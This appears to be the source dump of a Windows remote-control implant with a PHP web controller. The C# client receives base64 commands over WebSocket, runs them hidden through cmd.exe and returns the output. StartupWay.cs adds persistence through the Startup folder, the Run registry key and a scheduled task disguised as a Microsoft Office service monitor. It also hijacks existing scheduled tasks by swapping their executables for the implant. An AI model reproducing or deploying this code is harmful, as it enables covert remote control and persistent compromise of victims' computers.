return pathList; 150 | } 151 | } 152 | 153 | } 154 | -------------------------------------------------------------------------------- /Server/Applications/Chat/Web/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Controler 6 | 7 | 8 | 9 | 153 | 154 | 155 |
156 |
157 | 160 |
161 |
162 |
163 | 164 |

165 | 166 | 167 |
168 | 169 | 170 | -------------------------------------------------------------------------------- /Client/websocket/WebSocketBase.cs: -------------------------------------------------------------------------------- 1 | using ICSharpCode.SharpZipLib.Zip.Compression.Streams; 2 | using System; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Text; 6 | using System.Text.RegularExpressions; 7 | using System.Threading; 8 | using WebSocketSharp; 9 | 10 | namespace websocket 11 | { 12 | class WebSocketBase 13 | { 14 | private static StringBuilder sortOutput = null; 15 | Process sortProcess; 16 | string commands = null; 17 | private WebSocket webSocketClient = null; 18 | private WebSocketService webService = null; 19 | private Boolean isRecon = false; 20 | private string url = null; 21 | private System.Timers.Timer t = new System.Timers.Timer(2000); 22 | public WebSocketBase(string url, WebSocketService webService) 23 | { 24 | this.webService = webService; 25 | this.url = url; 26 | } 27 | public void start() 28 | { 29 | webSocketClient = new WebSocket(url); 30 | webSocketClient.OnError += new EventHandler(webSocketClient_Error); 31 | webSocketClient.OnOpen += new EventHandler(webSocketClient_Opened); 32 | webSocketClient.OnClose += new EventHandler(webSocketClient_Closed); 33 | webSocketClient.OnMessage += new EventHandler(webSocketClient_MessageReceived); 34 | webSocketClient.ConnectAsync(); 35 | while (!webSocketClient.IsAlive) 36 | { 37 | Console.WriteLine("Waiting WebSocket connnet......"); 38 | Thread.Sleep(1000); 39 | } 40 | t.Elapsed += new System.Timers.ElapsedEventHandler(heatBeat); 41 | t.Start(); 42 | 43 | } 44 | 45 | private void heatBeat(object sender, System.Timers.ElapsedEventArgs e) 46 | { 47 | 48 | // this.send("{\"type\":\"ping1\"}"); 49 | } 50 | private void webSocketClient_Error(object sender, WebSocketSharp.ErrorEventArgs e) 51 | { 52 | 53 | } 54 | private void webSocketClient_MessageReceived(object sender, MessageEventArgs e) 55 | { 56 | 57 | 58 | var ControlWay = Midstr(e.Data, "\"type\":\"", "\""); 59 | 60 | if (ControlWay == "ping") 61 | { 62 | this.send("{\"type\":\"ping\"}"); 63 | } 64 | else if (ControlWay == "say") 65 | { 66 | Base64Tools base64Tools = new Base64Tools(); 67 | var EncodeCmd = Midstr(e.Data, "\"content\":\"", "\"}"); 68 | commands = base64Tools.base64decode(EncodeCmd); 69 | SortInputListText(); 70 | } 71 | // webService.onReceive(e.Data); 72 | } 73 | private void SortOutputHandler(object sendingProcess, DataReceivedEventArgs outLine) 74 | { 75 | if (!String.IsNullOrEmpty(outLine.Data)) 76 | { 77 | Base64Tools base64Tools = new Base64Tools(); 78 | string ResponseCmd = "" + outLine.Data + Environment.NewLine + "
"; 79 | this.send("{\"type\":\"say\",\"content\":\"" + base64Tools.base64encode(ResponseCmd) + "\"}"); 80 | } 81 | } 82 | public void SortInputListText() 83 | { 84 | if (sortProcess != null) 85 | { 86 | sortProcess.Close(); 87 | } 88 | sortProcess = new Process(); 89 | sortOutput = new StringBuilder(""); 90 | sortProcess.StartInfo.FileName = "cmd.exe"; 91 | sortProcess.StartInfo.UseShellExecute = false;// 必须禁用操作系统外壳程序 92 | sortProcess.StartInfo.RedirectStandardOutput = true; 93 | sortProcess.StartInfo.RedirectStandardError = true; //重定向错误输出 94 | sortProcess.StartInfo.CreateNoWindow = true; //设置不显示窗口 95 | sortProcess.StartInfo.RedirectStandardInput = true; 96 | sortProcess.StartInfo.Arguments = "/c " + commands; //设定程式执行参数 97 | sortProcess.Start(); 98 | sortProcess.BeginOutputReadLine();// 异步获取命令行内容 99 | sortProcess.OutputDataReceived += new DataReceivedEventHandler(SortOutputHandler); // 为异步获取订阅事件 100 | } 101 | 102 | public static string Midstr(string sourse, string s, string e) 103 | { 104 | Regex rg = new Regex("(?<=(" + s + "))[.\\s\\S]*?(?=(" + e + "))", RegexOptions.Multiline | RegexOptions.Singleline); 105 | return rg.Match(sourse).Value; 106 | } 107 | private void webSocketClient_Closed(object sender, WebSocketSharp.CloseEventArgs e) 108 | { 109 | if (!webSocketClient.IsAlive) 110 | { 111 | isRecon = true; 112 | webSocketClient.ConnectAsync(); 113 | } 114 | } 115 | public string Decompress(byte[] baseBytes) 116 | { 117 | string resultStr = string.Empty; 118 | using (MemoryStream memoryStream = new MemoryStream(baseBytes)) 119 | { 120 | using (InflaterInputStream inf = new InflaterInputStream(memoryStream)) 121 | { 122 | using (MemoryStream buffer = new MemoryStream()) 123 | { 124 | byte[] result = new byte[1024]; 125 | 126 | int resLen; 127 | while ((resLen = inf.Read(result, 0, result.Length)) > 0) 128 | { 129 | buffer.Write(result, 0, resLen); 130 | } 131 | resultStr = Encoding.Default.GetString(result); 132 | } 133 | } 134 | } 135 | return resultStr; 136 | } 137 | private void webSocketClient_Opened(object sender, EventArgs e) 138 | { 139 | // this.send("{'event':'ping2'}"); 140 | } 141 | 142 | public Boolean isReconnect() 143 | { 144 | if (isRecon) 145 | { 146 | if (webSocketClient.IsAlive) 147 | { 148 | isRecon = false; 149 | } 150 | return true; 151 | } 152 | return false; 153 | } 154 | public void send(string channle) 155 | { 156 | webSocketClient.Send(channle); 157 | } 158 | public void stop() 159 | { 160 | if (webSocketClient != null) 161 | webSocketClient.Close(); 162 | } 163 | 164 | } 165 | interface WebSocketService 166 | { 167 | void onReceive(String msg); 168 | } 169 | } 170 | -------------------------------------------------------------------------------- /Client/websocket/websocketForNet.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {542A1B4C-5693-4DBA-BC47-779880130ADA} 8 | WinExe 9 | Properties 10 | websocket 11 | WSS 12 | v4.0 13 | 512 14 | publish\ 15 | true 16 | Disk 17 | false 18 | Foreground 19 | 7 20 | Days 21 | false 22 | false 23 | true 24 | 0 25 | 1.0.0.%2a 26 | false 27 | false 28 | true 29 | 30 | 31 | 32 | 33 | 34 | AnyCPU 35 | true 36 | full 37 | false 38 | bin\Debug\ 39 | DEBUG;TRACE 40 | prompt 41 | 4 42 | 43 | 44 | AnyCPU 45 | pdbonly 46 | true 47 | bin\Release\ 48 | TRACE 49 | prompt 50 | 4 51 | 52 | 53 | 54 | 55 | 56 | 57 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll 58 | False 59 | 60 | 61 | lib\ICSharpCode.SharpZipLib.dll 62 | 63 | 64 | lib\Interop.TaskScheduler.dll 65 | False 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | lib\websocket-sharp.dll 77 | 78 | 79 | 80 | 81 | 82 | 83 | True 84 | True 85 | Resources.resx 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | False 108 | Microsoft .NET Framework 4.5 %28x86 和 x64%29 109 | true 110 | 111 | 112 | False 113 | .NET Framework 3.5 SP1 114 | false 115 | 116 | 117 | 118 | 119 | ResXFileCodeGenerator 120 | Resources.Designer.cs 121 | 122 | 123 | 124 | 125 | {F935DC20-1CF0-11D0-ADB9-00C04FD58A0B} 126 | 1 127 | 0 128 | 0 129 | tlbimp 130 | False 131 | True 132 | 133 | 134 | 135 | 136 | 137 | 138 | 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 139 | 140 | 141 | 142 | 143 | 144 | 151 | -------------------------------------------------------------------------------- /Client/websocket/MyWindowsCmd.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Threading; 5 | 6 | /******************************************************************************* 7 | * https://www.cnblogs.com/lulianqi/p/6180479.html 8 | * Copyright (c) 2016 lulianqi 9 | * All rights reserved. 10 | *******************************************************************************/ 11 | 12 | namespace websocket 13 | { 14 | class StreamAsynRead : IDisposable 15 | { 16 | public delegate void delegateGetStreamAsynReadEventHandler(object sender, string outData); 17 | public event delegateGetStreamAsynReadEventHandler OnGetAsynReadData; 18 | 19 | private Stream baseStream; 20 | private Thread readStreamThread; 21 | private Encoding baseEncode; 22 | private bool isDropAscStyle; 23 | private bool willKill; 24 | 25 | /// 26 | /// 异步读取指定IO流并即时返回直到该流结束(初始化完成后即开始读取) 27 | /// 28 | /// 目标IO流 29 | /// 编码方式 30 | /// 是否丢弃ASC样式 31 | /// 数据返回委托 32 | public StreamAsynRead(Stream yourBaseStream, Encoding yourEncode, bool dropAscStyle, delegateGetStreamAsynReadEventHandler yourGetAsynReadData) 33 | { 34 | if (yourBaseStream == null) 35 | { 36 | throw new Exception("yourBaseStream is null"); 37 | } 38 | else 39 | { 40 | isDropAscStyle = dropAscStyle; 41 | baseStream = yourBaseStream; 42 | baseEncode = yourEncode; 43 | OnGetAsynReadData += yourGetAsynReadData; 44 | StartRead(); 45 | willKill = false; 46 | } 47 | } 48 | 49 | public StreamAsynRead(Stream yourBaseStream, Encoding yourEncode, delegateGetStreamAsynReadEventHandler yourGetAsynReadData) 50 | : this(yourBaseStream, yourEncode, false, yourGetAsynReadData) { } 51 | 52 | public StreamAsynRead(Stream yourBaseStream, delegateGetStreamAsynReadEventHandler yourGetAsynReadData) 53 | : this(yourBaseStream, ASCIIEncoding.UTF8, false, yourGetAsynReadData) { } 54 | 55 | public bool IsdropAscStyle 56 | { 57 | get { return isDropAscStyle; } 58 | set { isDropAscStyle = value; } 59 | } 60 | 61 | 62 | private void PutOutData(string yourData) 63 | { 64 | if (OnGetAsynReadData != null) 65 | { 66 | this.OnGetAsynReadData(this, yourData); 67 | } 68 | } 69 | 70 | private bool StartRead() 71 | { 72 | if (baseStream == null) 73 | { 74 | return false; 75 | } 76 | if (readStreamThread != null) 77 | { 78 | if (readStreamThread.IsAlive) 79 | { 80 | readStreamThread.Abort(); 81 | } 82 | } 83 | readStreamThread = new Thread(new ParameterizedThreadStart(GetDataThread)); 84 | readStreamThread.IsBackground = true; 85 | readStreamThread.Start(baseStream); 86 | return true; 87 | } 88 | 89 | private void GetDataThread(object ReceiveStream) 90 | { 91 | /* 92 | try 93 | { 94 | } 95 | catch (ThreadAbortException abortException) 96 | { 97 | Console.WriteLine((string)abortException.ExceptionState); 98 | } 99 | * */ 100 | 101 | Byte[] read = new Byte[1024]; 102 | Stream receiveStream = (Stream)ReceiveStream; 103 | int bytes = receiveStream.Read(read, 0, 1024); 104 | string esc = baseEncode.GetString(new byte[] { 27, 91 }); 105 | //string bs = baseEncode.GetString(new byte[] { 8 }); // \b 106 | string re = ""; 107 | while (bytes > 0 && !willKill) 108 | { 109 | re = baseEncode.GetString(read, 0, bytes); 110 | if (isDropAscStyle) 111 | { 112 | while (re.Contains(esc)) 113 | { 114 | int starEsc = re.IndexOf(esc); 115 | int endEsc = re.IndexOf('m', starEsc); 116 | if (endEsc > 0) 117 | { 118 | re = re.Remove(starEsc, (endEsc - starEsc + 1)); 119 | } 120 | else 121 | { 122 | re = re.Remove(starEsc, 2); 123 | } 124 | } 125 | } 126 | PutOutData(re); 127 | bytes = receiveStream.Read(read, 0, 1024); 128 | } 129 | } 130 | 131 | public void Dispose() 132 | { 133 | willKill = true; 134 | } 135 | } 136 | 137 | class MyWindowsCmd : IDisposable 138 | { 139 | public enum RedirectOutputType 140 | { 141 | RedirectStandardInput, 142 | RedirectStandardError 143 | } 144 | 145 | public delegate void delegateGetCmdMessageEventHandler(object sender, string InfoMessage, RedirectOutputType redirectOutputType); 146 | /// 147 | /// 订阅CMD返回数据 148 | /// 149 | public event delegateGetCmdMessageEventHandler OnGetCmdMessage; 150 | 151 | private System.Diagnostics.Process p = new System.Diagnostics.Process(); 152 | StreamAsynRead standardOutputRead = null; 153 | StreamAsynRead standardErrorRead = null; 154 | private string errorMes = null; 155 | private string cmdName = null; 156 | private bool isStart = false; 157 | private bool isDropAscStyle = false; 158 | 159 | 160 | public MyWindowsCmd() 161 | { 162 | p.StartInfo.FileName = "cmd.exe"; 163 | cmdName = "CMD"; 164 | p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动 165 | p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息 166 | p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息 167 | p.StartInfo.RedirectStandardError = true;//重定向标准错误输出 168 | p.StartInfo.CreateNoWindow = true;//不显示程序窗口 169 | p.StartInfo.ErrorDialog = true; 170 | } 171 | 172 | /// 173 | /// 含名称字段的构造函数 174 | /// 175 | /// CMD名称(方便区分多份CMD实例) 176 | public MyWindowsCmd(string yourNmae) : this() 177 | { 178 | cmdName = yourNmae; 179 | } 180 | 181 | private void ShowMessage(string mes, RedirectOutputType redirectOutputType) 182 | { 183 | if (OnGetCmdMessage != null) 184 | { 185 | this.OnGetCmdMessage(this, mes, redirectOutputType); 186 | } 187 | } 188 | 189 | /// 190 | /// 获取CMD名称 191 | /// 192 | public string CmdName 193 | { 194 | get { return cmdName; } 195 | } 196 | 197 | /// 198 | /// 获取最近的错误 199 | /// 200 | public string ErrorMes 201 | { 202 | get { return errorMes; } 203 | } 204 | 205 | /// 206 | /// 获取一个值,盖值指示该CMD是否启动 207 | /// 208 | public bool IsStart 209 | { 210 | get { return isStart; } 211 | } 212 | 213 | /// 214 | /// 获取或设置获取内容回调时是否丢弃ASK颜色等样式方案(如果您的应用不具备处理这种样式的功能,请选择放弃该样式) 215 | /// 216 | public bool IsDropAscStyle 217 | { 218 | get { return isDropAscStyle; } 219 | set { isDropAscStyle = value; } 220 | } 221 | 222 | /// 223 | /// 启动CMD 224 | /// 225 | /// 是否成功启动 226 | public bool StartCmd() 227 | { 228 | if (isStart) 229 | { 230 | errorMes = "[StartCmd]" + "is Already Started"; 231 | return false; 232 | } 233 | try 234 | { 235 | p.Start();//启动程序 236 | //System.Text.Encoding.GetEncoding("gb1232"); 237 | if (standardOutputRead != null) 238 | { 239 | standardOutputRead.Dispose(); 240 | } 241 | if (standardErrorRead != null) 242 | { 243 | standardErrorRead.Dispose(); 244 | } 245 | 246 | if (OnGetCmdMessage != null) 247 | { 248 | standardOutputRead = new StreamAsynRead(p.StandardOutput.BaseStream, System.Text.Encoding.Default, true, new StreamAsynRead.delegateGetStreamAsynReadEventHandler((obj, str) => { this.OnGetCmdMessage(this, str, RedirectOutputType.RedirectStandardInput); })); 249 | standardErrorRead = new StreamAsynRead(p.StandardError.BaseStream, System.Text.Encoding.Default, true, new StreamAsynRead.delegateGetStreamAsynReadEventHandler((obj, str) => { this.OnGetCmdMessage(this, str, RedirectOutputType.RedirectStandardError); })); 250 | } 251 | isStart = true; 252 | return true; 253 | } 254 | catch (Exception ex) 255 | { 256 | errorMes = "[StartCmd]" + ex.Message; 257 | return false; 258 | } 259 | } 260 | 261 | /// 262 | /// 执行CMD命令 263 | /// 264 | /// cmd命令内容 265 | /// 是否成功 266 | public bool RunCmd(string yourCmd) 267 | { 268 | if (yourCmd == null || !isStart) 269 | { 270 | return false; 271 | } 272 | try 273 | { 274 | p.StandardInput.WriteLine(yourCmd); 275 | return true; 276 | } 277 | catch (Exception ex) 278 | { 279 | errorMes = "[RunCmd]" + ex.Message; 280 | return false; 281 | } 282 | } 283 | 284 | /// 285 | /// 等待执行完成(同步方法,请勿在主线程中调用) 286 | /// 287 | public void WaitForExit() 288 | { 289 | if (RunCmd("exit")) 290 | { 291 | p.WaitForExit(); 292 | } 293 | } 294 | 295 | /// 296 | /// 停止该CMD,如果不准备再次启动,请直接调用Dispose 297 | /// 298 | public void StopCmd() 299 | { 300 | if (isStart) 301 | { 302 | p.Close(); 303 | isStart = false; 304 | } 305 | } 306 | 307 | public void Dispose() 308 | { 309 | StopCmd(); 310 | standardOutputRead.Dispose(); 311 | standardErrorRead.Dispose(); 312 | } 313 | } 314 | } -------------------------------------------------------------------------------- /Client/websocket/StartupWay.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.Win32; 2 | using System; 3 | using System.Collections; 4 | using System.IO; 5 | using System.Xml; 6 | using TaskScheduler; 7 | 8 | namespace websocket 9 | { 10 | class StartupWay 11 | { 12 | /******************************************************************************* 13 | * Copy From https://blog.csdn.net/arrowzz/article/details/69808761 14 | * Modify By MrFooL 15 | * 引用 COM: TaskScheduler & Windows Script Host Object Model 16 | *******************************************************************************/ 17 | public bool doStartUpWay(int startupCode, string RootPath, string ServiceName, string changeName) 18 | { 19 | string FullServicePath = RootPath + ServiceName + ".exe"; 20 | switch (startupCode) 21 | { 22 | case 886: 23 | //无任何动作 24 | break; 25 | case 0: 26 | // 获取当前登录用户的 开始 文件夹位置 27 | string nowUserPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup); 28 | FileStartUp(nowUserPath, ServiceName, FullServicePath); 29 | 30 | // 获取全局开始文件夹位置 [全局开始文件夹存在权限问题可能导致添加启动项失败 后期可增加提权] 31 | //string allUserPath = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup); 32 | //FileStartUp(allUserPath, ServiceName, FullServicePath); 33 | break; 34 | case 1: 35 | // 添加到 当前登陆用户的 注册表启动项 36 | RegistryKey RKey = Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"); 37 | RKey.SetValue(ServiceName, @"""" + FullServicePath + @"""");//防止生成路径带有空格导致的启动失败 38 | 39 | // 添加到 所有用户的 注册表启动项 [权限问题] 40 | //RegistryKey RKey = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"); 41 | //RKey.SetValue(ServiceName, @""""+ FullServicePath + @"""");//防止生成路径带有空格导致的启动失败 42 | break; 43 | case 2: 44 | if (0 == 0) 45 | { 46 | //尝试添加计划任务 47 | string author = "Microsoft Office"; 48 | string desc = "This task monitors the state of your Microsoft Office ClickToRunSvc and sends crash and error logs to Microsoft."; 49 | string name = "Office ClickToRun Service Monitor"; 50 | string file = FullServicePath; 51 | //新建计划任务 52 | TaskSchedulerClass scheduler = new TaskSchedulerClass(); 53 | //连接 54 | scheduler.Connect(null, null, null, null); 55 | //获取创建任务的目录 56 | ITaskFolder folder = scheduler.GetFolder("\\"); 57 | //设置参数 58 | ITaskDefinition task = scheduler.NewTask(0); 59 | task.RegistrationInfo.Author = author;//创建者 60 | task.RegistrationInfo.Description = desc;//描述 61 | //设置触发机制(此处是 登陆后) 62 | task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); 63 | //设置动作(此处为运行exe程序) 64 | IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); 65 | action.Path = file;//设置文件目录 66 | task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PT0S 不开启超时 67 | task.Settings.DisallowStartIfOnBatteries = false;//只有在交流电源下才执行 68 | task.Settings.RunOnlyIfIdle = false;//仅当计算机空闲下才执行 69 | 70 | IRegisteredTask regTask = 71 | folder.RegisterTaskDefinition(name, task,//此处需要设置任务的名称(name) 72 | (int)_TASK_CREATION.TASK_CREATE, null, //user 73 | null, // password 74 | _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, 75 | ""); 76 | IRunningTask runTask = regTask.Run(null); 77 | break; 78 | } 79 | case 3: 80 | //判断当前用户是否存在计划任务 81 | TaskSchedulerClass taskScheduler = new TaskSchedulerClass(); 82 | taskScheduler.Connect(); 83 | ITaskFolder taskFolder = taskScheduler.GetFolder(@"\"); 84 | var taskList = taskFolder.GetTasks(0); 85 | 86 | if (taskList.Count != 0) 87 | { 88 | ArrayList taskPath = new ArrayList(); 89 | ArrayList taskName = new ArrayList(); 90 | string runTaskPath; 91 | string runTaskName; 92 | int isFoundTask = 0; 93 | Random r = new Random(); 94 | 95 | foreach (IRegisteredTask task in taskList) 96 | { 97 | //寻找已开启的任务 98 | if (task.State.ToString() == "TASK_STATE_RUNNING" || task.State.ToString() == "TASK_STATE_READY") 99 | { 100 | isFoundTask = 1;//标记已找到 101 | taskName.Add(task.Name);//记录名字 102 | 103 | XmlDocument doc = new XmlDocument(); 104 | doc.LoadXml(task.Definition.XmlText.Replace(" version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"", ""));//某种奇怪的原理导致必须删除此段才可获取到数据 105 | XmlElement root = null; 106 | root = doc.DocumentElement; 107 | XmlNodeList listNodes = null; 108 | listNodes = root.SelectNodes("/Task/Actions/Exec/Command");//获取任务路径 109 | //获取劫持任务路径 110 | foreach (XmlNode node in listNodes) 111 | { 112 | taskPath.Add(node.InnerText); 113 | if (taskPath.Count >= 10) 114 | { 115 | break;//只取十个 116 | } 117 | } 118 | 119 | } 120 | } 121 | 122 | //寻找未开启的任务 123 | if (isFoundTask == 0) 124 | { 125 | foreach (IRegisteredTask task in taskList) 126 | { 127 | //寻找已开启的任务 128 | if (task.State.ToString() == "TASK_STATE_DISABLED") 129 | { 130 | taskName.Add(task.Name);//记录名字 131 | 132 | XmlDocument doc = new XmlDocument(); 133 | doc.LoadXml(task.Definition.XmlText.Replace(" version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\"", ""));//某种奇怪的原理导致必须删除此段才可获取到数据 134 | XmlElement root = null; 135 | root = doc.DocumentElement; 136 | XmlNodeList listNodes = null; 137 | listNodes = root.SelectNodes("/Task/Actions/Exec/Command");//获取任务路径 138 | //获取劫持任务路径 139 | foreach (XmlNode node in listNodes) 140 | { 141 | taskPath.Add(node.InnerText); 142 | if (taskPath.Count >= 10) 143 | { 144 | break;//只取十个 145 | } 146 | } 147 | } 148 | } 149 | } 150 | 151 | int num = r.Next(0, taskPath.Count);//随机选中一个任务 152 | runTaskPath = taskPath[num].ToString();//路径 153 | runTaskName = taskName[num].ToString();//名字 154 | 155 | //劫持 156 | string path2 = runTaskPath.Replace(".exe", "") + changeName + ".exe";//备份并改名 使用避免重复的名字 防止覆盖已存在文件 157 | FileInfo fi1 = new FileInfo(runTaskPath); 158 | FileInfo fileService = new FileInfo(RootPath); 159 | 160 | fi1.CopyTo(path2);//备份原文件 161 | fi1.Delete();//删除原文件 162 | fileService.CopyTo(runTaskPath);//顶替原文件 163 | 164 | IRegisteredTask openTask = taskFolder.GetTask(runTaskName); 165 | 166 | if (openTask.State.ToString() == "TASK_STATE_DISABLED") 167 | { 168 | openTask.Enabled = true;//开启被禁用任务 169 | } 170 | 171 | IRunningTask runningTask = openTask.Run(null);//执行任务 172 | 173 | break; 174 | } 175 | else 176 | { 177 | //系统自身不存在计划任务时尝试添加 178 | string author = "Microsoft Office"; 179 | string desc = "This task monitors the state of your Microsoft Office ClickToRunSvc and sends crash and error logs to Microsoft."; 180 | string name = "Office ClickToRun Service Monitor"; 181 | string file = FullServicePath; 182 | //新建计划任务 183 | TaskSchedulerClass scheduler = new TaskSchedulerClass(); 184 | //连接 185 | scheduler.Connect(null, null, null, null); 186 | //获取创建任务的目录 187 | ITaskFolder folder = scheduler.GetFolder("\\"); 188 | //设置参数 189 | ITaskDefinition task = scheduler.NewTask(0); 190 | task.RegistrationInfo.Author = author;//创建者 191 | task.RegistrationInfo.Description = desc;//描述 192 | //设置触发机制(此处是 登陆后) 193 | task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); 194 | //设置动作(此处为运行exe程序) 195 | IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); 196 | action.Path = file;//设置文件目录 197 | task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PT0S 不开启超时 198 | task.Settings.DisallowStartIfOnBatteries = false;//只有在交流电源下才执行 199 | task.Settings.RunOnlyIfIdle = false;//仅当计算机空闲下才执行 200 | 201 | IRegisteredTask regTask = 202 | folder.RegisterTaskDefinition(name, task,//此处需要设置任务的名称(name) 203 | (int)_TASK_CREATION.TASK_CREATE, null, //user 204 | null, // password 205 | _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, 206 | ""); 207 | IRunningTask runTask = regTask.Run(null); 208 | break;//暂不判断是否添加成功 209 | } 210 | } 211 | return true; 212 | } 213 | 214 | public static bool FileStartUp(string directory, string shortcutName, string targetPath, string description = null, string iconLocation = null) 215 | { 216 | try 217 | { 218 | if (!Directory.Exists(directory)) 219 | { 220 | Directory.CreateDirectory(directory); 221 | } 222 | 223 | //添加引用 Com 中搜索 Windows Script Host Object Model 224 | string shortcutPath = Path.Combine(directory, string.Format("{0}.lnk", shortcutName)); 225 | IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); 226 | IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(shortcutPath);//创建快捷方式对象 227 | shortcut.TargetPath = targetPath;//指定目标路径 228 | shortcut.WorkingDirectory = Path.GetDirectoryName(targetPath);//设置起始位置 229 | shortcut.WindowStyle = 1;//设置运行方式,默认为常规窗口 230 | shortcut.Description = description;//设置备注 231 | shortcut.IconLocation = string.IsNullOrWhiteSpace(iconLocation) ? targetPath : iconLocation;//设置图标路径 232 | shortcut.Save();//保存快捷方式 233 | 234 | return true; 235 | } 236 | catch 237 | { 238 | return false; 239 | } 240 | } 241 | } 242 | } 243 | --------------------------------------------------------------------------------